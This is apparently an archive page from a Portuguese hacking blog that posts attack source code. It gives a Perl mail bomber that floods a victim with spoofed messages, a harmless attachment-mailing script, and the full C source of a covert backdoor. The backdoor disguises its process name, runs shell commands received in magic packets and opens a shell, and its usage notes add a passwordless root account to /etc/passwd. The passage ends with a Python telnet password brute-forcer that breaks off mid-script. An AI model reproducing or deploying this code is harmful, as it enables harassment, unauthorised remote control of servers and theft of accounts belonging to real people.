Archive for the ‘ Códigos Fonte ’ Category

[Source] Programas em Perl: Mail bomber e enviar arquivos anexados po exmail

Código Fonte de um Mail bomber:

#!/usr/bin/perl
###########################################################
# maila.pl 0.1.5 by guybrush` #
###########################################################
# Este script é a cura e a doença ao mesmo tempo. É um #
# mail bomber que pode ser executado em um servidor em #
# background. Mas é também equipado com um limpador de #
# caixa de correio, para neutralizar mailbombings de ou- #
# tras pessoas. #
###########################################################
# Requisitos: #
# ——————————————————- #
# 1. Um computador 🙂 #
# 2. Um servidor SMTP que permita enviar emails #
# 3. Uma vida #
###########################################################
# Uso: #
# ——————————————————- #
# ./maila.pl [-c -s servidor -u userid -p password] #
# [-m -s servidor -d email -n number] #
# -c – Ativa o limpador de pop3 #
# -s – endereço do servidor pop3 #
# -u – userid da conta #
# -p – senha da conta #
# -m – Ativa o mail bomber #
# -s – servidor de email que permita enviar emails #
# -d – endereço de email da vitima #
# -n – número de mensagens que vai enviar #
###########################################################
# Greets: #
# ——————————————————- #
# Thanks to #perl@ircnet, DeMa, raptor, me, myself and I #
# Traduzido por: mauricio@vendomicro.com.br #
###########################################################

use IO::Socket;
use Getopt::Std;
getopts(“cms:u:p:d:n:”);
if ($opt_c && $opt_m) { usage(); }
if (!$opt_c && !$opt_m) { usage(); }
if ($opt_c) { if (!($opt_s) || !($opt_u) || !($opt_p)) { usage(); } }
if ($opt_m) { if (!($opt_s) || !($opt_d) || !($opt_n)) { usage(); } }

if ($opt_c) {
$host = $opt_s;
$user = $opt_u;
$pass = $opt_p;
$remote = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$host”,PeerPort=>”110″) || die “Host não encontrado, parou em”;
print “Limpando a conta $user\@$host …\n”;
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote (“user $user\r\n”); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote (“pass $pass\r\n”); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) { print $remote (“list\r\n”); } else { die; }
$temp = <$remote>;
if ($temp =~ m/OK/) {
while (<$remote> !~ /^\./) {
$temp = <$remote>;
($cn, $rudo) = split(/ /,$temp);
}
print “Apagando $cn mensagens…\n”;
for ($i = 1;$i <= $cn;$i++) {
print $remote (“dele $i\r\n”);
if ($temp =~ m/OK/) { next; }
}
} else { die; }
print “Feito!\n”;
print $remote “quit\n”;
$remote->flush();
close($remote);
}

if ($opt_m) {
$host = $opt_s;
$rcpt = $opt_d;
$numb = $opt_n;
print “Mailbombing $rcpt com $numb mensagens…\n”;
for ($i = 1; $i <= $numb; $i++) {
$remote = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$host”,PeerPort=>”25″) || die “Host nao encontrado, parou em”;
$temp = <$remote>;
if ($temp =~ m/220/) { print $remote “helo hackers.com\n”; } else { next; }
$temp = <$remote>;
$mitt = &mittente;
if ($temp =~ m/250/) { print $remote “mail from: $mitt\n”; } else { next; }
$temp = <$remote>;
if ($temp =~ m/250/) { print $remote “rcpt to: $rcpt\n”; } else { next; }
$temp = <$remote>;
if ($temp =~ m/250/) { print $remote “data\n”; } else { next; }
$temp = <$remote>;
$messaggio = &messaggio;
if ($temp =~ m/354/) { print $remote “$messaggio\n”; } else { next; }
$temp = <$remote>;
if ($temp =~ m/250/) { print $remote “quit\n”; } else { next; }
$remote->flush();
close($remote);
}
print “Feito!\n”;
}

sub messaggio {
$a = “a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0,A,B,C,D,E,F,G,H,I,L,M,N,O,P,Q,R,S,T,U,V,Z,X,Y,J,K”;
(@alfa) = split(/,/,$a);
$messa = “Received: by s0gamelo.it id AA11212 with SMTP; Sun, 12 Oct 97 13:40:58\nMessage-ID: <123.AA11345\@fanculo.com>\nTo: <$rcpt>\nDate: Sun, 12 Oct 97 11:30:27\nSubject: Try to save yourself\n\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)]\n\n.\n“;
$messa
}

sub mittente {
$a = “a,b,c,d,e,f,g,h,i,l,m,n,o,p,q,r,s,t,u,v,z,j,k,w,x,y,1,2,3,4,5,6,7,8,9,0”;
(@alfa) = split(/,/,$a);
$m = @alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)].@alfa[rand($#alfa)];
@domains = (“microsoft.com”,”libero.it”,”tiscalinet.it”,”katamail.it”,”tin.it”,”mail.com”,”hotmail.com”,”cia.gov”,”fbi.gov”,”nasa.gov”,”hackers.com”,”adultcheck.com”,”ciao.it”,”trovamore.com”,”abc.de”,”cybererotica.com”,”pmp.it”,”infinito.it”,”mp3.com”,”yahoo.com”,”ciaoweb.it”,”galactica.it”,”namezero.com”,”flashnet.it”,”ircd.it”,”funet.fi”,”stealth.net”,”webbernet.net”,”tvtb.it”);
$dominio = @domains[rand($#domains)];
$mittente = “$m\@$dominio”;
$mittente
}

sub usage {
print STDERR <<EOF;
Uso: $0 [-c -s server -u userid -p password] [-m -s server -d address -n number]

-c – Ativa o limpador de pop3
-s – endereço do servidor pop3
-u – userid da conta
-p – senha da conta
-m – Ativa o mail bomber
-s – servidor de email que permita enviar emails
-d – endereço de email da vitima
-n – número de mensagens que vai enviar

Examplos: $0 -c -s pop3.server.com -u foobar -p dunno
$0 -m -s mail.server.cz -d foobar\@server.com -n 500
EOF
exit;
}

Código Fonte de um programa em Perl que envia Arquivos anexados po exmail:

#!/usr/bin/perl
# ###########################################################
# 26/08/2002
#
# Por Fíbio Berbert de Paula <fabio@vivaolinux.com.br>
#
# Script usado para enviar um arquivo anexado por email
#
# ###########################################################

# este modulo e’ necessario para o funcionamento do script
use MIME::Entity;

$texto = “Aqui vem o texto do email …”;
$top = build MIME::Entity From => ‘Eu <eu@meudominio.com>’,
To => ‘voce@seudominio.com‘,
Subject => “Teste de anexo”,
Data => $texto;

# definindo o anexo
$top->attach(
Name => “arquivo.gz”,
Path => “/tmp/arquivo.gz”,
Type => “application/x-gtar”,
Encoding => “base64”
);


# caminho para o programa do agente MTA do seu servidor
open(MAIL,”| /usr/lib/sendmail -t”);
$top->print(\*MAIL);
close(MAIL);

[Source] Pacote com 16 bots para IRC

Pacote com 16 bots para IRC.

Obs: Todos bots são codados em Python.

Imagem

[Source] 44 Ferramentas para Brute Force

Este é um pacote com 44 ferramentas para realizar brute force dos mais variados tipos.

Obs: São todas feitas em python



Imagem

[Backdoor] TheWatchFull – Backdoor não abre porta

Oi, eu vou mostrar pra vocês um Backdoor muito interessante e muito útil.
Ele monitora determinado protocolo e, de acordo com uma palavra-chave enviada ao servidor a qualquer momento, que no caso será a padrão “STRUCK0WN”, ele executa uma determinada ação.

TheWatchFull é um novo tipo de backdoor ele “observa” todos os pacotes enviados para o servidor através
do protocolo especificado (icmp, tcp, udp). Ao identificar uma senha pré-definida em um dos pacotes, o conteúdo é executado.
O conteúdo do pacote pode ser um comando de shell ou um comando especial que sera interpretado pelo TWF.

Comandos do backdoor:
TURNOFF <—– Desliga a backdoor
DELETEME <—– Desliga e deleta a backdoor
BINDME <—– Abre Shell na porta 7777

Aqui em baixo vou colocar o código fonte:

/* TheWatchFull v0.2 (server)
   by Cheat Struck <cheat@struck.8m.com>

   TheWatchFull eh um novo tipo de backdoor criado por mim.
   O Programa "observa" todos os pacotes enviados para o servidor atravez
do protocolo especificado (icmp, tcp, udp). Ao identificar uma senha
pre-definida em um dos pacotes, o conteudo eh executado.
   O conteudo do pacote pode ser um comando de shell ou um comando
especial que sera interpretado pelo TWF.

   Comandos especiais:
   ^^^^^^^^^^^^^^^^^^
   TURNOFF         <----- Desliga a backdoor.
   DELETEME        <----- Desliga e deleta a backdoor.
   BINDME          <----- Abre Shell na porta 7777.

   Como usar:
   ^^^^^^^^^
   hostvuln# gcc tback.c -otback
   hostvuln# ./tback

   (TCP)
   local$ telnet hostvuln 80
    Trying 205.178.180.190...
    Connected to www.securitynetworks.com.
    Escape character is '^]'.
    STRUCK0WN echo "struck::0:0::/:/bin/sh" >> /etc/passwd
    Connection closed by foreign host.

   (ICMP)
   local$ gcc sendp.c -osendp
   local$ ./sendp 1 BINDME
    sent 15 bytes to x.x.x.x
   local$ telnet hostvuln 7374
    Trying x.x.x.x...
    Connected to hostvuln.
    Escape character is '^]'.
    hostvuln#

   (UDP)
   local$ ./sendp 17 "killall inetd"
    sent 22 bytes to x.x.x.x
   local$ telnet hostvuln 80
    Trying x.x.x.x...
    telnet: Unable to connect to remote host: Connection refused

*/

#define PASSWORD "megazoid"
#define FAKENAME "gpm"
#define PROTOCOL 1 //1=ICMP
                   //6=TCP
                   //17=UDP
#define SIZE 4096

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int make_bind(struct in_addr addr);

int main(int argc, char *argv[]) {
  struct sockaddr_in fr0m;
  int tam, s0ck, i;
  char pkt[SIZE], id[SIZE], cmd[SIZE], realname[SIZE];
  pid_t pid;

  pid = fork();
  if (pid != 0) {
    exit(0);
  }

  strncpy(realname,argv[0],strlen(argv[0]));
  memset(argv[0], 0x00, strlen(argv[0]));
  strncpy(argv[0], FAKENAME, strlen(FAKENAME));

  for(i=1; i<=31 ; i++)
    signal(i, SIG_IGN);

  if ((s0ck = socket(AF_INET, SOCK_RAW, PROTOCOL)) == -1) return 0;

  for(;;) {

     memset(&pkt,0x00,sizeof(pkt));
     tam = sizeof(fr0m);
     if(recvfrom(s0ck,pkt,sizeof(pkt),0,(struct sockaddr *)&fr0m,&tam) == -1)
        exit(0);

     for(i=0; i<SIZE; i++) {
        memset(&id,0x00,sizeof(id));
        sscanf(&pkt[i], "%s%*c%*s", id);

        if(!strncmp(id,PASSWORD,strlen(PASSWORD))) {
            memset(&cmd,0x00,sizeof(cmd));
            sprintf(cmd,"%s",&pkt[i+strlen(PASSWORD)+1]);

            if (PROTOCOL == 6) cmd[strlen(cmd)-2] = '';

            /* Ztart the Special Commands */
            dup2(s0ck,0); dup2(s0ck,1); dup2(s0ck,2);
            if(!strncmp(cmd,"TURNOFF",7))
                  exit(0);
            else if(!strncmp(cmd,"DELETEME",8)) {
                  remove(realname);
                  exit(0); }
            else if(!strncmp(cmd,"BINDME",6))
                  make_bind(fr0m.sin_addr);
            else system(cmd);
            break;
        }
     }
  }
}

int make_bind(struct in_addr addr) {
   int sock, remote;
   struct sockaddr_in sa, client;
   pid_t pid;

   pid=fork();
   if(pid == 0) {

      if((sock=socket(AF_INET, SOCK_STREAM, 0)) == -1) exit(0);
      sa.sin_addr = addr;
      sa.sin_family = AF_INET;
      sa.sin_port = htons(70000); //TETA
      memset(&(sa.sin_zero),0x00,8);

      if(bind(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) exit(0);
      if(listen(sock,1) == -1) exit(0);
      if((remote=accept(sock, (struct sockaddr *) &client, \
          (socklen_t *) sizeof(client))) == -1) exit(0);

      dup2(remote,0); dup2(remote,1); dup2(remote,2);
      execl("/bin/sh", "sh", "-i", 0);

      close(sock);
      exit(0);
   }
   return(0);
}

brutessh.py

Murro

Um simples “programa” para fazer força bruta na porta 22 (SSH), este aqui é feito em python, mas existem outrso feitos em C e até mesmo em perl.

Para executar é só entrar como root e digitar:
# chmod 777 brutessh2.py
# ./brutessh2.py

Link para donwload: https://disciplinas.dcc.ufba.br/pastas/MATA87/2008.1/PericiaForense/brutessh2.py

#!/usr/bin/python
import sys, string, socket
from telnetlib import Telnet

try:
host_name = sys.argv[1]
port = sys.argv[2]
ptarget = sys.argv[3]
fname = sys.argv[4]
except IndexError:
print “>> Usage: ./mudbf
sys.exit(1)

try:
arq = open(fname)
arq.close()
except IOError:
print “>> Password file does not exist!\n”
sys.exit(1)

print “\n _brute_force4MUD_”
print “”
print ” http://www.maxphil.cjb.net&#8221;
print ” by: Karl Phillip \n”
print ” : %s” % host_name
print ” : %s” % port
print ” : %s\n” % ptarget
print “>> Trying passwords.. (this could take a few minutes)\n”
arq = open(fname)
login_sucess = “*** PRESS RETURN:”
login_new =”Did I get that righ”

numtries = 0
looping = False
while not looping:

for line in arq.readlines():
passwd = line
numtries += 1
vict = Telnet(host_name, port)
vict.write(ptarget+”\n”)
vict.write(str(passwd)+”\n”)

response = vict.read_until(“Wrong password.”, 20)

if string.count(response, login_new):
print “\n=========================================”
print ” *PLAYER NOT FOUND* in this MUD!”
print “=========================================\n”
arq.close()
vict.close()
sys.exit(1)
elif string.count(response, login_sucess):
print “\n %d” % int(numtries)
print “\n*User*: %s” % ptarget
print “*Password*: %s” % passwd
vict.close()
sys.exit(1)
else:
#print “Trying passwd: %s” % passwd
vict.close()
vict.close()

looping = True

arq.close()
vict.close()
print “\n %d” % int(numtries)
print “\n=========================================”
print ” *NO PASSWORD* was found in that file!”
print “=====================================